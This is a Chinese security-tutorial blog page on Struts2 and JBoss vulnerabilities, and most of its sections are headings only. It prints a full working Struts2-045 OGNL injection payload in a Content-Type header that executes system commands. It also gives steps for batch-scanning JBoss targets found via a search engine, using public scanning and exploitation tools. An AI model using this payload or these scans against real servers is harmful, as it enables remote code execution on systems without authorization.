当前位置: 首页 > news >正文

常见漏洞之 struts2+ jboss

数据来源

        本文仅用于信息安全的学习,请遵守相关法律法规,严禁用于非法途径。若观众因此作出任何危害网络安全的行为,后果自负,与本人无关。 

01  Struts2相关介绍

》Struts2概述

》Struts2历史漏洞(1)

》Struts2历史漏洞(2)  

》Struts2历史漏洞(3)  

》Struts2历史漏洞(4) 

》Struts2历史漏洞(5)

》Struts2历史漏洞(6) 

》Struts2历史漏洞(2019) 

02 Strut2 识别与漏洞利用

》Struts2框架识别(1)

》Struts2框架识别(2)

》Struts2漏洞验证

Struts2漏洞检查工具2018

struts2综合漏洞扫描工具_struts2漏洞检测工具_虚无-缥缈的博客-CSDN博客

》Struts2-045漏洞介绍

》Struts2-045漏洞危害

》Struts2-045漏洞利用(执行命令)

随意上传一个文件井抓包,修改 Content-type为以下的内容

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

#cmd='whoami'   可以改成其他系统命令,如:ipconfig、dir、......

》Struts2-045漏洞利用(反弹shell)

03 Jboss相关介绍

》Jboss概述

》Jboss历史漏洞(访问控制不严导致的漏洞)

》Jboss历史漏洞(反序列化漏洞)

04 Jboss识别与漏洞利用

》Jboss组件识别

访问网站的8080端口出现类似下面的页面就是使用了Jboss组件

》Jbos漏洞检测(批量)

GitHub - GGyao/jbossScan: 扫描jboss常见漏洞路径是否存在。

使用示例:

1)先把脚本代码从github上拉下来

2)把要扫描的目标url写进target.txt文件中,一行一个

这个目标网站是从钟馗之眼找的

3)扫描漏洞

这个使用python3运行脚本,kali上自带,windows系统要自行安装

 我的python运行文件的名称就是python所以这个我用python执行命令,也可以更改文件名为python3然后就可以使用python3执行命令

python jbossScan.py

》CVE-2017-12149漏洞检测

/invoker/readonly

CVE-2017-12149漏洞概述

》CVE-2017-12149漏洞利用(反弹shell)

GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

http://www.lryc.cn/news/3125.html

相关文章:

  • leetcode470 用Rand7()实现Rand10()
  • JSON数据解析商品详情API
  • 服务端开发Java面试复盘篇1
  • Android框架WiFi架构
  • rt-thread 移植调试记录
  • 红外线额温枪与红外线温度传感器的原理分析
  • 2023牛客寒假算法集训营4
  • vue组合式API及生命周期钩子函数
  • Python|每日一练|数组|回溯|二分查找|排序和顺序统计量|.update方法 |单选记录:组合总和|寻找峰值|编程通过键盘输入每一位运动员
  • minio下载文件速度很慢的原因分析与说明
  • 基于comsol软件弯曲单模光纤模拟仿真
  • 如何开启多个独立Chrome浏览器
  • erp5开源制造业erp主要业务会计分录处理
  • 技能树基础——17四平方和(拉格朗日定理,嵌套循环)
  • JPA、EJB、事物管理---相关内容整理
  • C语言学习笔记(一):了解C语言
  • 回头看——《智能家居项目小结》
  • 社交登陆OAuth2.0
  • C++005-C++选择与分支2
  • IPFS 简介及概述
  • 初学者必读:讲解 VC 下如何正确的创建、管理及发布项目
  • 剑指offer(中等)
  • 微软发布会精华回顾:“台式电脑”抢了风头
  • CF1561C Deep Down Below 题解
  • 秒杀项目之服务调用分布式session
  • 聊聊什么是架构,你理解对了吗?
  • java多线程开发
  • 杂记7--opencv的ar码模块学习
  • [项目设计]高并发内存池
  • 28岁才转行软件测试,目前32了,我的一些经历跟感受